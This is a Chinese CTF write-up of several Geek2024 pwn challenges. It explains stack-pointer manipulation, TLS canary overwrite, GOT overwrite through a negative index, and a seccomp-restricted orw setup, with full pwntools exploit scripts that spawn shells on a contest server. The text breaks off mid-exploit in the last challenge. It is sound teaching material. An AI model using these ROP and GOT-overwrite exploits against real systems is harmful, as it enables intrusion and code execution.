.bss:0000000000404050 data dq ? ; DATA XREF: take_elevator+52↑w
也就是说,我们可以通过控制data
进而去控制rsp
不难想到这道题应该考察栈排布的相关知识。
我们继续向后观察
还有ask_phone()
函数,可以用来读取浮点数。
read(0, buf, 0x28uLL);
此处的read()
向buf上读入了0x28字节的数据,但是buf实际上更大,有0x30个字节,甚至覆盖不到rbp
,这道题没有明显的溢出点。怎么办呢?我们在没有思路的时候,或者说思路不明确的时候,要经常调试。
我们先重点看一下涉及到栈排布的部分
0x0000000000401348 in take_elevator ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────
*RAX 0x0
RBX 0x0
RCX 0x7ffff7ea6887 (write+23) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x0
RDI 0x40204b ◂— 0x20686f0000006425 /* '%d' */
RSI 0x7fffffffe404 ◂— 0xf7e12faa00000000
R8 0x22
R9 0x7ffff7fc9040 ◂— endbr64
R10 0x402028 ◂— 'how many floors do you want to go?'
R11 0x246
R12 0x7fffffffe568 —▸ 0x7fffffffe7b3 ◂— 0x726f772f6674632f ('/ctf/wor')
R13 0x4013e7 (main) ◂— endbr64
R14 0x403da0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011e0 (__do_global_dtors_aux) ◂— endbr64
R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0x0
RBP 0x7fffffffe440 —▸ 0x7fffffffe450 ◂— 0x1
RSP 0x7fffffffe400 —▸ 0x402122 ◂— 'This is a elevator'
*RIP 0x401348 (take_elevator+69) ◂— call 0x401110
───────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────
0x401332 <take_elevator+47> lea rax, [rbp - 0x3c]
0x401336 <take_elevator+51> mov rsi, rax
0x401339 <take_elevator+54> lea rax, [rip + 0xd0b]
0x401340 <take_elevator+61> mov rdi, rax
0x401343 <take_elevator+64> mov eax, 0
► 0x401348 <take_elevator+69> call __isoc99_scanf@plt <__isoc99_scanf@plt>
format: 0x40204b ◂— 0x20686f0000006425 /* '%d' */
vararg: 0x7fffffffe404 ◂— 0xf7e12faa00000000
0x40134d <take_elevator+74> mov eax, dword ptr [rbp - 0x3c]
0x401350 <take_elevator+77> shl eax, 3
0x401353 <take_elevator+80> cdqe
0x401355 <take_elevator+82> mov qword ptr [rip + 0x2cf4], rax <data>
0x40135c <take_elevator+89> sub rsp, qword ptr [data] <0x404050>
─────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp rsi-4 0x7fffffffe400 —▸ 0x402122 ◂— 'This is a elevator'
01:0008│ 0x7fffffffe408 —▸ 0x7ffff7e12faa (puts+346) ◂— cmp eax, -1
02:0010│ 0x7fffffffe410 ◂— 0x0
03:0018│ 0x7fffffffe418 —▸ 0x7fffffffe440 —▸ 0x7fffffffe450 ◂— 0x1
04:0020│ 0x7fffffffe420 ◂— 0x0
05:0028│ 0x7fffffffe428 —▸ 0x7fffffffe450 ◂— 0x1
06:0030│ 0x7fffffffe430 —▸ 0x7fffffffe568 —▸ 0x7fffffffe7b3 ◂— 0x726f772f6674632f ('/ctf/wor')
07:0038│ 0x7fffffffe438 ◂— 0x887b9ff98d219700
───────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────
► 0 0x401348 take_elevator+69
1 0x401421 main+58
2 0x7ffff7dbbd90
3 0x7ffff7dbbe40 __libc_start_main+128
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>
汇编指令如下
pwndbg> x/20i $rip
=> 0x401348 <take_elevator+69>: call 0x401110 <__isoc99_scanf@plt>
0x40134d <take_elevator+74>: mov eax,DWORD PTR [rbp-0x3c]
0x401350 <take_elevator+77>: shl eax,0x3
0x401353 <take_elevator+80>: cdqe
0x401355 <take_elevator+82>: mov QWORD PTR [rip+0x2cf4],rax # 0x404050 <data>
0x40135c <take_elevator+89>: sub rsp,QWORD PTR ds:0x404050
0x401364 <take_elevator+97>: lea rax,[rip+0xce5] # 0x402050
0x40136b <take_elevator+104>: mov rdi,rax
0x40136e <take_elevator+107>: call 0x4010b0 <puts@plt>
0x401373 <take_elevator+112>: lea rax,[rip+0xcf6] # 0x402070
0x40137a <take_elevator+119>: mov rdi,rax
0x40137d <take_elevator+122>: call 0x4010b0 <puts@plt>
0x401382 <take_elevator+127>: lea rax,[rbp-0x38]
0x401386 <take_elevator+131>: mov rdi,rax
0x401389 <take_elevator+134>: call 0x4012b7 <ask_phone>
0x40138e <take_elevator+139>: mov rax,QWORD PTR [rbp-0x38]
0x401392 <take_elevator+143>: movq xmm0,rax
0x401397 <take_elevator+148>: lea rax,[rip+0xcf8] # 0x402096
0x40139e <take_elevator+155>: mov rdi,rax
0x4013a1 <take_elevator+158>: mov eax,0x1
根据汇编指令推断,我们写入data一个正数,那么rsp
将会抬高。我们输入1试试看
未执行抬栈时:
00:0000│ rsp 0x7fffffffe400 ◂— 0x100402122 /* '"!@' */
01:0008│ 0x7fffffffe408 —▸ 0x7ffff7e12faa (puts+346) ◂— cmp eax, -1
02:0010│ 0x7fffffffe410 ◂— 0x0
03:0018│ 0x7fffffffe418 —▸ 0x7fffffffe440 —▸ 0x7fffffffe450 ◂— 0x1
04:0020│ 0x7fffffffe420 ◂— 0x0
05:0028│ 0x7fffffffe428 —▸ 0x7fffffffe450 ◂— 0x1
06:0030│ 0x7fffffffe430 —▸ 0x7fffffffe568 —▸ 0x7fffffffe7b3 ◂— 0x726f772f6674632f ('/ctf/wor')
07:0038│ 0x7fffffffe438 ◂— 0x887b9ff98d219700
08:0040│ rbp 0x7fffffffe440 —▸ 0x7fffffffe450 ◂— 0x1
执行抬栈时:
00:0000│ rsp 0x7fffffffe3f8 —▸ 0x40134d (take_elevator+74) ◂— mov eax, dword ptr [rbp - 0x3c]
01:0008│ 0x7fffffffe400 ◂— 0x100402122 /* '"!@' */
02:0010│ 0x7fffffffe408 —▸ 0x7ffff7e12faa (puts+346) ◂— cmp eax, -1
03:0018│ 0x7fffffffe410 ◂— 0x0
04:0020│ 0x7fffffffe418 —▸ 0x7fffffffe440 —▸ 0x7fffffffe450 ◂— 0x1
05:0028│ 0x7fffffffe420 ◂— 0x0
06:0030│ 0x7fffffffe428 —▸ 0x7fffffffe450 ◂— 0x1
07:0038│ 0x7fffffffe430 —▸ 0x7fffffffe568 —▸ 0x7fffffffe7b3 ◂— 0x726f772f6674632f ('/ctf/wor')
08:0040│ 0x7fffffffe438 ◂— 0x887b9ff98d219700
09:0048│ rbp 0x7fffffffe440 —▸ 0x7fffffffe450 ◂— 0x1
可以看到我们的rsp从0xe400
减小到了0xe3f8
,抬高了0x8
字节。
这与伪代码中data = 8 * v1
相符合。也就是说,我们输入一个正整数n
,那么rsp
就会被抬高8n
字节。那么我们如果输入**-1**呢?试试看
未执行抬栈时:
00:0000│ rsp 0x7fffffffe400 ◂— 0xffffffff00402122 /* '"!@' */
01:0008│ 0x7fffffffe408 —▸ 0x7ffff7e12faa (puts+346) ◂— cmp eax, -1
02:0010│ 0x7fffffffe410 ◂— 0x0
03:0018│ 0x7fffffffe418 —▸ 0x7fffffffe440 —▸ 0x7fffffffe450 ◂— 0x1
04:0020│ 0x7fffffffe420 ◂— 0x0
05:0028│ 0x7fffffffe428 —▸ 0x7fffffffe450 ◂— 0x1
06:0030│ 0x7fffffffe430 —▸ 0x7fffffffe568 —▸ 0x7fffffffe7b3 ◂— 0x726f772f6674632f ('/ctf/wor')
07:0038│ 0x7fffffffe438 ◂— 0x66956b679cfd5000
08:0040│ rbp 0x7fffffffe440 —▸ 0x7fffffffe450 ◂— 0x1
执行抬栈时:
00:0000│ rsp 0x7fffffffe408 —▸ 0x7ffff7e12faa (puts+346) ◂— cmp eax, -1
01:0008│ 0x7fffffffe410 ◂— 0x0
02:0010│ 0x7fffffffe418 —▸ 0x7fffffffe440 —▸ 0x7fffffffe450 ◂— 0x1
03:0018│ 0x7fffffffe420 ◂— 0x0
04:0020│ 0x7fffffffe428 —▸ 0x7fffffffe450 ◂— 0x1
05:0028│ 0x7fffffffe430 —▸ 0x7fffffffe568 —▸ 0x7fffffffe7b3 ◂— 0x726f772f6674632f ('/ctf/wor')
06:0030│ 0x7fffffffe438 ◂— 0x66956b679cfd5000
07:0038│ rbp 0x7fffffffe440 —▸ 0x7fffffffe450 ◂— 0x1
可以看到执行完sub
指令后,rsp
由0xe400
变为了0xe408
。栈下降了!这说明了data
实际上是一个有符号整数,而当我们输入负数时,经过sub
指令,自然就变成了加上一个正数,由于栈是由高地址向低地址增长的,所以实际上栈是降低了,也就是rsp
变得更靠近rbp
有什么用呢?你可能会想到我们刚刚发现的read()
函数
read(0, buf, 0x28uLL);
之前我们不是说,这个read()
读入的字节数太小了吗?那如果我们通过刚才的手法降低rsp
,缩短rsp
到rbp
的距离,使得read()
从rsp
开始读入数据能覆盖到rbp
及以下的数据不就行了
这里还有个小问题,就是我们在查保护的时候,不是发现函数开启了canary吗?那不就不能直接通过栈溢出来控制程序执行流了嘛?
这里涉及到read()
函数的底层逻辑,简单来说,read()
在调用时会先将下一条指令push
到栈上当作返回地址,然后调用_read
,这个时候进入read()
执行完后再ret
出来,这个过程中是没有canary保护的,所以我们可以通过修改read()
的返回地址来控制程序的执行流。
控制程序执行流后,直接打ret2libc即可。
► 0x7ffff7ea67e0 <read+16> syscall <SYS_read>
fd: 0x0 (/dev/pts/0)
buf: 0x7fffffffe410 —▸ 0x403da0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011e0 (__do_global_dtors_aux) ◂— endbr64
nbytes: 0x28
可以看到read()
函数内部调用syscall
时从0xe410
开始读入
00:0000│ rsp 0x7fffffffe418 —▸ 0x4013d0 (take_elevator+205) ◂— nop
01:0008│ 0x7fffffffe420 ◂— 0x0
02:0010│ 0x7fffffffe428 —▸ 0x7fffffffe450 ◂— 0x1
03:0018│ 0x7fffffffe430 —▸ 0x7fffffffe568 —▸ 0x7fffffffe7b3 ◂— 0x726f772f6674632f ('/ctf/wor')
04:0020│ 0x7fffffffe438 ◂— 0xb7d24bccdf400500
05:0028│ rbp 0x7fffffffe440 —▸ 0x7fffffffe450 ◂— 0x1
我们控制data为-0x20
时,栈排布如上,rsp
即read()
push上去的返回地址,刚好位于0xe418
的位置,读入0x8
个垃圾数据后就可以覆盖到这个返回地址。
EXP
from pwn import *
context(arch='amd64', os='linux',log_level='info',terminal=['tmux','splitw', '-h'])
def debug():
gdb.attach(io)
pause()
# IO
##io = process('./pwn')
io = remote('nc1.ctfplus.cn', 42061)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
#init
ret_addr = 0x40101a
pop_rdi = 0x40127f
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_addr = 0x401303
#stack fengshui
io.sendlineafter(b'floors do you want to go?', str(-4))
io.sendlineafter(b'want to call?', str(0))
#leak libc
payleak = cyclic(0x8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(read_addr)
io.sendafter(b'for the man!!\n', payleak)
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
log.info('libc_base: 0x{:x}'.format(libc_base))
#stack fengshui
io.sendlineafter(b'floors do you want to go?', str(-4))
io.sendlineafter(b'want to call?', str(0))
#getshell
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
payload = cyclic(0x8) + p64(pop_rdi) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_addr)
io.sendafter(b'for the man!!\n', payload)
io.interactive()
RESULT
[+] Opening connection to nc1.ctfplus.cn on port 42061: Done
[*] '/ctf/work/Geek2024/Pwn/学校的烂电梯plus/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fc000)
RUNPATH: b'./libc.so.6'
[*] '/ctf/work/Geek2024/Pwn/学校的烂电梯plus/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
exp.py:22: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.sendlineafter(b'floors do you want to go?', str(-4))
exp.py:23: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.sendlineafter(b'want to call?', str(0))
[*] libc_base: 0x7f3cd63dd000
exp.py:34: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.sendlineafter(b'floors do you want to go?', str(-4))
exp.py:35: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.sendlineafter(b'want to call?', str(0))
[*] Switching to interactive mode
$ cat flag
flag{20710c5a-0491-470c-9711-4c666ae173b6}
$
EzStackOverflow
涉及知识点:覆写TLS结构体绕过canary,任意地址写,基本ROP 检查保护
$ checksec pwn
[*] '/ctf/work/Geek2024/Pwn/overflow/pwn'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'./libc.so.6'
存在canary。
看看ida的伪代码
int __fastcall main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+8h] [rbp-28h] BYREF
char v5[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
buf = 0LL;
init_func();
puts("Welcome to 2024 Geek pwn channel!");
printf("give this gift:");
printf((const char *)__readfsqword(0), argv);
printf("\nplease input *ptr:");
read(0, &buf, 8uLL);
if ( (__int64)((_QWORD)buf << 60) >> 60 == -8 || !((__int64)((_QWORD)buf << 60) >> 60) )
{
printf("A???");
exit(0);
}
printf("change *address:");
read(0, buf, 7uLL);
printf("buf:");
read(0, v5, 0x70uLL);
return 7;
}
可以发现
printf("give this gift:");
printf((const char *)__readfsqword(0), argv);
题目一开始就泄露了一个东西,实际上就是fs寄存器的地址,这里存放着我们的TLS结构体,而我们的canary就是由这个结构体生成。
printf("\nplease input *ptr:");
read(0, &buf, 8uLL);
printf("change *address:");
read(0, buf, 7uLL);
这里可以看到7个字节的任意写,前一个read写向buf地址,可以控制后一个read的buf指针。而后一个read修改buf上的内容,实际上就是任意地址写
这里有个限制
if ( (__int64)((_QWORD)buf << 60) >> 60 == -8 || !((__int64)((_QWORD)buf << 60) >> 60) )
{
printf("A???");
exit(0);
}
就是限制了地址结尾不能是0x0和0x8
结合题目一开始给出的fs寄存器地址,我们就可以去修改fs + 0x28
的位置,就是存放canary的位置,修改此处为我们想要的canary的值,在栈溢出时只需要对答案就可以了
绕过限制也很简单,+1
就可以了,因为题目只能让我们写0x7
字节,而canary有0x8
字节,末尾由\x00
填充,也就是我们只用写前七个字节就可以了。
EXP
from pwn import *
context(arch='amd64', os='linux', log_level='debug',terminal=['tmux','splitw', '-h'])
def debug():
gdb.attach(io)
pause()
#IO
##io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
io = remote("nc1.ctfplus.cn", 48018)
#recv fs:base
io.recvuntil(b'gift:')
fs_base = u64(io.recv(6).ljust(0x8, b'\x00'))
log.success("fs_base: " + hex(fs_base))
#overwrite TLS struct
canary_addr = fs_base + 0x28
log.success("canary_addr: " + hex(canary_addr))
io.sendafter(b'*ptr:', p64(canary_addr+1)) ###'+1' to bypass
io.sendafter(b'change *address:',b'abcdefg')
#ret2libc - init
pop_rdi = 0x40123f
ret_addr = 0x4011be
printf_plt = elf.plt['printf']
read_got = elf.got['read']
#ret2libc - leak libcbase
payleak = flat([cyclic(0x18),b'\x00abcdefg',0x403f00,pop_rdi,read_got,0,ret_addr,0x401346])
io.sendafter(b'buf:', payleak)
read_addr = u64(io.recv(6).ljust(0x8, b'\x00'))
log.success("read_addr: " + hex(read_addr))
libcbase = read_addr - libc.symbols['read']
log.success("libcbase: " + hex(libcbase))
#ret2libc - get shell
system_addr = libcbase + libc.symbols['system']
binsh_addr = libcbase + next(libc.search(b'/bin/sh\x00'))
log.success("system_addr: " + hex(system_addr))
log.success("binsh_addr: " + hex(binsh_addr))
payload = flat([cyclic(0x18),b'\x00abcdefg',0,pop_rdi,binsh_addr,ret_addr,system_addr])
io.send(payload)
io.interactive()
RESULT
[*] '/ctf/work/Geek2024/Pwn/overflow/pwn'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'./libc.so.6'
[*] '/ctf/work/Geek2024/Pwn/overflow/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to nc1.ctfplus.cn on port 48018: Done
[+] fs_base: 0x7f101cde5740
[+] canary_addr: 0x7f101cde5768
[+] read_addr: 0x7f101cefc7d0
[+] libcbase: 0x7f101cde8000
[+] system_addr: 0x7f101ce38d70
[+] binsh_addr: 0x7f101cfc0678
[*] Switching to interactive mode
$ cat flag
flag{bac3a896-f9ed-40c8-996b-cee8fd1c9fcb}
$
我的空调呢
涉及知识点:IDA结构体修复,整数溢出,覆写got表,数组越界 老规矩,先查保护
$ checksec pwn
[*] '/ctf/work/Geek2024/Pwn/我的空调呢/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fc000)
Partial RELRO,got表可写;有canary。
拖进IDA看下伪代码
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h]
init(argc, argv, envp);
puts("We need you find my air conditioner T^T.\nBefor that,please tell me your team.");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
v4 = menu();
if ( v4 != 1 )
break;
add();
}
if ( v4 != 2 )
break;
view();
}
if ( v4 != 3 )
break;
delete();
}
if ( v4 != 4 )
break;
edite();
}
if ( v4 != 5 )
break;
fun();
}
return 0;
}
这代码写的有点离谱的。一个循环结构,分别实现了五个功能,我们挨个看一下。
add()
__int64 add()
{
__int64 v1; // [rsp+8h] [rbp-8h]
puts("\n--->>ADD<<---:");
ptr = (__int64)&student;
v1 = 0LL;
while ( *(_QWORD *)ptr )
{
if ( v1 == 15 )
{
puts("Areadly full.");
return 0LL;
}
++v1;
ptr = (__int64)&student + 48 * v1;
}
puts("Your name:");
read(0, (void *)(ptr + 8), 8uLL);
puts("Introduce:");
read(0, (void *)(ptr + 16), 0x20uLL);
*(_QWORD *)ptr = 1LL;
return 0LL;
}
这里出现了student
这个全局变量,用ida看下
.bss:00000000004040E0 student dq 60h dup(?) ; DATA XREF: add+20↑o
实际上student是个结构体,我们用以下代码修复
struct Student{
__int64 isused;
char name[0x8];
char introduce[0x20];
}Student;
在ida中打开View->Open subviews->Local Types
打开本地类型视图,右键点击Insert
插入刚刚准备好的结构体。
返回add()
函数,修改student变量类型为
struct Student student;
修改ptr为
struct Student *ptr;
美化后代码为:
__int64 add()
{
__int64 v1; // [rsp+8h] [rbp-8h]
puts("\n--->>ADD<<---:");
ptr = student;
v1 = 0LL;
while ( ptr->isused )
{
if ( v1 == 15 )
{
puts("Areadly full.");
return 0LL;
}
ptr = &student[++v1];
}
puts("Your name:");
read(0, ptr->name, 8uLL);
puts("Introduce:");
read(0, ptr->introduce, 0x20uLL);
ptr->isused = 1LL;
return 0LL;
}
这个函数就是向bss段上写入一些数据,创建一个新的Student
view()
unsigned __int64 view()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("\n--->>VIEW<<---:");
printf("Index: ");
__isoc99_scanf("%d", &v1);
if ( student[v1].isused && v1 <= 0xF )
{
printf("Student name:");
write(1, student[v1].name, 8uLL);
printf("\nIntroduce:%s\n", student[v1].introduce);
}
else
{
puts("There is no information.");
}
return __readfsqword(0x28u) ^ v2;
}
访问对应下标的Student
结构体,并打印信息。
delete()
unsigned __int64 delete()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("\n--->>DELETE<<---:");
puts("Maybe the air conditioner's outdoor unit is here.\nHave you found something?");
printf("Index: ");
__isoc99_scanf("%d", &v1);
if ( student[v1].isused && v1 <= 0xF )
{
student[v1].isused = 0LL;
memset(student[v1].name, 0, 0x28uLL);
}
else
{
puts("Is`t using or over range.");
}
return __readfsqword(0x28u) ^ v2;
}
将对应数据段置0,即删除对应的Student
结构体。
edite()
unsigned __int64 edite()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("\n--->>EDITE<<---:");
puts("The indoor unit of the air conditioner is here.");
printf("Index: ");
__isoc99_scanf("%d", &v1);
if ( student[v1].isused && v1 <= 15 )
{
puts("message:");
read(0, student[v1].introduce, 0x20uLL);
}
else
{
puts("There is no information.");
}
return __readfsqword(0x28u) ^ v2;
}
修改对应下标的Student
结构体的introduce
字段。
注意此处的v1是int类型,输入负数可以越界修改,只要有值就能改。
fun()
unsigned __int64 fun()
{
void *buf; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
buf = 0LL;
if ( !FLAG )
exit(0);
puts("Please input an address.(such as 0xffff)");
__isoc99_scanf("%llx", &buf);
printf("massege:");
write(1, buf, 8uLL);
FLAG = 0;
return __readfsqword(0x28u) ^ v2;
}
这个函数很关键,scanf调整buf指针,然后write出对应地址,实际上是个任意读。
整道题没有明显的溢出点,但是checksec提示Partial RELRO
我们可以修改got表来重定向到我们想要的函数。
怎么修改呢?edite()
函数;
我们先看一下整个got表
.got.plt:0000000000404000 ; ===========================================================================
.got.plt:0000000000404000
.got.plt:0000000000404000 ; Segment type: Pure data
.got.plt:0000000000404000 ; Segment permissions: Read/Write
.got.plt:0000000000404000 _got_plt segment qword public 'DATA' use64
.got.plt:0000000000404000 assume cs:_got_plt
.got.plt:0000000000404000 ;org 404000h
.got.plt:0000000000404000 _GLOBAL_OFFSET_TABLE_ dq offset _DYNAMIC
.got.plt:0000000000404008 qword_404008 dq 0 ; DATA XREF: sub_401020↑r
.got.plt:0000000000404010 qword_404010 dq 0 ; DATA XREF: sub_401020+6↑r
.got.plt:0000000000404018 off_404018 dq offset puts ; DATA XREF: _puts+4↑r
.got.plt:0000000000404020 off_404020 dq offset write ; DATA XREF: _write+4↑r
.got.plt:0000000000404028 off_404028 dq offset __stack_chk_fail
.got.plt:0000000000404028 ; DATA XREF: ___stack_chk_fail+4↑r
.got.plt:0000000000404030 off_404030 dq offset setbuf ; DATA XREF: _setbuf+4↑r
.got.plt:0000000000404038 off_404038 dq offset printf ; DATA XREF: _printf+4↑r
.got.plt:0000000000404040 off_404040 dq offset memset ; DATA XREF: _memset+4↑r
.got.plt:0000000000404048 off_404048 dq offset read ; DATA XREF: _read+4↑r
.got.plt:0000000000404050 off_404050 dq offset __isoc99_scanf
.got.plt:0000000000404050 ; DATA XREF: ___isoc99_scanf+4↑r
.got.plt:0000000000404058 off_404058 dq offset exit ; DATA XREF: _exit+4↑r
.got.plt:0000000000404058 _got_plt ends
.got.plt:0000000000404058
在delete()
函数中有memset()
的调用
memset(student[v1].name, 0, 0x28uLL);
我们可以将memset()
的got表地址修改为system()
的地址,在add()
函数中
puts("Your name:");
read(0, ptr->name, 8uLL);
写入八个字节,如果经常做题很快就能反应过来/bin/sh\x00
正好是八个字节,那么我们这里就add一个binsh,然后再修改memset()
函数的got表地址为system()
的地址,这样就能执行system("/bin/sh")
了。
总结一下思路
- 使用
fun()
泄露出puts@got,计算出system()
的地址 - 使用
edite()
修改delete()
函数中memset()
的got表地址为system()
的地址 - 使用
add()
写student[v1].name
为/bin/sh\x00
- 调用
delete()
触发system("/bin/sh")
EXP
from pwn import *
filename = './pwn'
debug = 1
if debug:
io = remote('nc1.ctfplus.cn', 34821)
else:
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'info', os = 'linux')
def dbg():
gdb.attach(io)
libc = ELF('./libc.so.6')
io.sendlineafter('chioce>:', '5')
io.sendline('0x404018')
io.recvuntil('massege:')
libcbase = u64(io.recv(6).ljust(8, b'\0')) - libc.sym['puts']
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
printf = libcbase + libc.sym['printf']
io.sendlineafter('chioce>:', '4')
io.sendline('-4')
io.send(b'A' * 0x8 + p64(printf) + p64(sys))
io.sendlineafter('chioce>:', '1')
io.sendafter('name:\n', '/bin/sh\x00')
io.sendafter('Introduce:\n', 'A')
io.sendlineafter('chioce>:', '3')
io.sendline('0')
io.interactive()
RESULT
[+] Opening connection to nc1.ctfplus.cn on port 34821: Done
[*] '/ctf/work/Geek2024/Pwn/我的空调呢/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fc000)
[*] '/ctf/work/Geek2024/Pwn/我的空调呢/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
exp.py:20: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.sendlineafter('chioce>:', '5')
/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py:841: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
exp.py:21: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.sendline('0x404018')
exp.py:23: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.recvuntil('massege:')
[+] libcbase =>> 0x7f0cf74ea000
exp.py:29: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.sendlineafter('chioce>:', '4')
exp.py:30: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.sendline('-4')
exp.py:34: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.sendlineafter('chioce>:', '1')
exp.py:35: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.sendafter('name:\n', '/bin/sh\x00')
/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py:831: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
exp.py:36: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.sendafter('Introduce:\n', 'A')
exp.py:38: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.sendlineafter('chioce>:', '3')
exp.py:39: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.sendline('0')
[*] Switching to interactive mode
--->>DELETE<<---:
Maybe the air conditioner's outdoor unit is here.
Have you found something?
Index: $ cat flag
SYC{a92da931-4649-4fb6-8511-c1d5623912df}
$
orz?orw!
涉及知识点:printf绕过canary,orw shellcode 先查保护
$ checksec orw
[*] '/ctf/work/Geek2024/Pwn/orzorw/orw'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
栈可执行,应该是打shellcode了。
看下ida的反汇编
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+Fh] [rbp-11h] BYREF
unsigned int v5; // [rsp+10h] [rbp-10h] BYREF
char v6[4]; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v7; // [rsp+18h] [rbp-8h]
v7 = __readfsqword(0x28u);
init(argc, argv, envp);
v5 = 4;
puts("please input your size:");
__isoc99_scanf("%d", &v5);
clear();
if ( v5 <= 4 )
{
puts("Please input your name:");
read(0, &buf, 0x30uLL);
printf("Hello %s\n", &buf);
puts("give me your id\n");
read(0, v6, (int)v5);
puts("Great!now you can do what you want!");
sandbox();
}
else
{
puts("no!!!");
}
return 0;
}
有沙盒,我们看看沙盒。
$ seccomp-tools dump ./orw
please input your size:
1
Please input your name:
1
Hello 1
give me your id
1
Great!now you can do what you want!
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
禁止了execve
只能orw shellcode了。
有个后门函数
void unk404()
{
__asm { jmp rsp }
}
先泄露canary,由于canary最低位为’\x00’,我们只需要覆盖这一位,然后用printf(‘%s’)就可以直接打印出来了。
EXP
from pwn import *
context(arch='amd64', os='linux', log_level='info')
#IO
io = remote('nc1.ctfplus.cn', 23787)
#leak canary
io.sendline(b'1')
io.send(b'a' + b'111\x01' + b'A' * 5)
io.recvuntil(b'AAAAA')
